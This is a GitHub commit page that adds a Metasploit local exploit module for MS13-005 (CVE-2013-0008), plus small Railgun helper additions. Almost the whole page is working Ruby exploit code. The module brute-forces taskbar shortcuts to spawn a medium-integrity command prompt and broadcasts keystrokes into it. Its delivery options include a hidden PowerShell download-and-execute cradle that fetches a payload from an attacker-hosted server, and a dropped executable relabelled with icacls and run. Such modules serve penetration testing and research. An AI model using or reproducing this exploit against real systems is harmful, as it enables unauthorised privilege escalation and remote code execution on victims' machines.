Skip to content

Commit 0851974

Browse files
author
jvazquez-r7
committed
Land rapid7#2162, @Meatballs1's exploit for ms13-005
2 parents 7b7603a + 5c7f33a commit 0851974

File tree

3 files changed

+233
-0
lines changed

3 files changed

+233
-0
lines changed

lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,7 @@ def self.manager
4848
# Slurp in a giant list of known constants.
4949
#
5050
def self.add_constants(win_const_mgr)
51+
win_const_mgr.add_const('HWND_BROADCAST',0x00000FFFF)
5152
win_const_mgr.add_const('MCI_DGV_SETVIDEO_TINT',0x00004003)
5253
win_const_mgr.add_const('EVENT_TRACE_FLAG_PROCESS',0x00000001)
5354
win_const_mgr.add_const('TF_LBI_TOOLTIP',0x00000004)

lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@ class Def_kernel32
1111

1212
def self.create_dll(dll_path = 'kernel32')
1313
dll = DLL.new(dll_path, ApiConstants.manager)
14+
15+
dll.add_function( 'GetConsoleWindow', 'LPVOID',[])
1416

1517
dll.add_function( 'ActivateActCtx', 'BOOL',[
1618
["HANDLE","hActCtx","inout"],
Lines changed: 230 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,230 @@
1+
##
2+
# ## This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/exploit/exe'
11+
12+
class Metasploit3 < Msf::Exploit::Local
13+
Rank = ExcellentRanking
14+
15+
include Msf::Exploit::Powershell
16+
include Msf::Exploit::EXE
17+
include Msf::Exploit::Remote::HttpServer
18+
include Msf::Exploit::FileDropper
19+
include Msf::Post::File
20+
21+
def initialize(info={})
22+
super( update_info( info,
23+
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
24+
'Description' => %q{
25+
The Windows kernel does not properly isolate broadcast messages from low integrity
26+
applications from medium or high integrity applications. This allows commands to be
27+
broadcasted to an open medium or high integrity command prompts allowing escalation
28+
of privileges. We can spawn a medium integrity command prompt, after spawning a low
29+
integrity command prompt, by using the Win+Shift+# combination to specify the position
30+
of the command prompt on the taskbar. We can then broadcast our command and hope that
31+
the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue
32+
affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
33+
But Spawning a command prompt with the shortcut key does not work in Vista so you will
34+
have to check if the user is already running a command prompt and set SPAWN_PROMPT
35+
false. The WEB technique will use powershell to download and execute a powershell
36+
encoded payload. The FILE technique will drop an executable to the file system, set it
37+
to medium integrity and execute it. The TYPE technique will attempt to execute a
38+
powershell encoded payload directly from the command line but it may take some time to
39+
complete.
40+
},
41+
'License' => MSF_LICENSE,
42+
'Author' =>
43+
[
44+
'Tavis Ormandy', # Discovery
45+
'Axel Souchet', # @0vercl0k POC
46+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module
47+
],
48+
'Platform' => [ 'win' ],
49+
'SessionTypes' => [ 'meterpreter' ],
50+
'Targets' =>
51+
[
52+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
53+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
54+
],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate'=> "Nov 27 2012",
57+
'References' =>
58+
[
59+
[ 'CVE', '2013-0008' ],
60+
[ 'MSB', 'MS13-005' ],
61+
[ 'OSVDB', '88966'],
62+
[ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
63+
]
64+
))
65+
66+
register_options(
67+
[
68+
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
69+
OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
70+
OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
71+
72+
], self.class
73+
)
74+
75+
end
76+
77+
def low_integrity_level?
78+
tmp_dir = expand_path("%USERPROFILE%")
79+
cd(tmp_dir)
80+
new_dir = "#{rand_text_alpha(5)}"
81+
begin
82+
session.shell_command_token("mkdir #{new_dir}")
83+
rescue
84+
return true
85+
end
86+
87+
if directory?(new_dir)
88+
session.shell_command_token("rmdir #{new_dir}")
89+
return false
90+
else
91+
return true
92+
end
93+
end
94+
95+
def win_shift(number)
96+
vk = 0x30 + number
97+
bscan = 0x81 + number
98+
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
99+
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
100+
client.railgun.user32.keybd_event(vk, bscan, 0, 0)
101+
client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
102+
client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
103+
client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
104+
end
105+
106+
def count_cmd_procs
107+
count = 0
108+
client.sys.process.each_process do |proc|
109+
if proc['name'] == 'cmd.exe'
110+
count += 1
111+
end
112+
end
113+
114+
vprint_status("Cmd prompt count: #{count}")
115+
return count
116+
end
117+
118+
def cleanup
119+
if datastore['SPAWN_PROMPT'] and @hwin
120+
vprint_status("Rehiding window...")
121+
client.railgun.user32.ShowWindow(@hwin, 0)
122+
end
123+
super
124+
end
125+
126+
def exploit
127+
# First of all check if the session is running on Low Integrity Level.
128+
# If it isn't doesn't worth continue
129+
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
130+
fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
131+
132+
# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
133+
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
134+
# integrity process can write.
135+
drop_to_fs = false
136+
if datastore['TECHNIQUE'] == 'FILE'
137+
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
138+
begin
139+
tmp_dir = expand_path("%TEMP%")
140+
tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
141+
cd(tmp_dir)
142+
print_status("Trying to drop payload to #{tmp_dir}...")
143+
if write_file(payload_file, generate_payload_exe)
144+
print_good("Payload dropped successfully, exploiting...")
145+
drop_to_fs = true
146+
register_file_for_cleanup(payload_file)
147+
payload_path = tmp_dir
148+
else
149+
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
150+
drop_to_fs = false
151+
end
152+
rescue ::Rex::Post::Meterpreter::RequestError
153+
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
154+
drop_to_fs = false
155+
end
156+
end
157+
158+
if drop_to_fs
159+
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
160+
make_it(command)
161+
elsif datastore['TECHNIQUE'] == 'TYPE'
162+
if datastore['CUSTOM_COMMAND']
163+
command = datastore['CUSTOM_COMMAND']
164+
else
165+
command = cmd_psh_payload(payload.encoded)
166+
end
167+
make_it(command)
168+
else
169+
super
170+
end
171+
end
172+
173+
def primer
174+
url = get_uri()
175+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
176+
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
177+
make_it(command)
178+
end
179+
180+
def make_it(command)
181+
if datastore['SPAWN_PROMPT']
182+
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
183+
if @hwin == nil
184+
@hwin = client.railgun.user32.GetForegroundWindow()['return']
185+
end
186+
client.railgun.user32.ShowWindow(@hwin, 0)
187+
client.railgun.user32.ShowWindow(@hwin, 5)
188+
189+
# Spawn low integrity cmd.exe
190+
print_status("Spawning Low Integrity Cmd Prompt")
191+
windir = client.fs.file.expand_path("%windir%")
192+
li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
193+
194+
count = count_cmd_procs
195+
spawned = false
196+
print_status("Bruteforcing Taskbar Position")
197+
9.downto(1) do |number|
198+
vprint_status("Attempting Win+Shift+#{number}")
199+
win_shift(number)
200+
sleep(1)
201+
202+
if count_cmd_procs > count
203+
print_good("Spawned Medium Integrity Cmd Prompt")
204+
spawned = true
205+
break
206+
end
207+
end
208+
209+
client.sys.process.kill(li_cmd_pid)
210+
211+
fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned
212+
end
213+
214+
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
215+
command.each_char do |c|
216+
print c if command.length < 200
217+
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
218+
end
219+
print_line
220+
print_status("Executing command...")
221+
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
222+
end
223+
224+
def on_request_uri(cli, request)
225+
print_status("Delivering Payload")
226+
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
227+
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
228+
end
229+
end
230+

0 commit comments

Comments
 (0)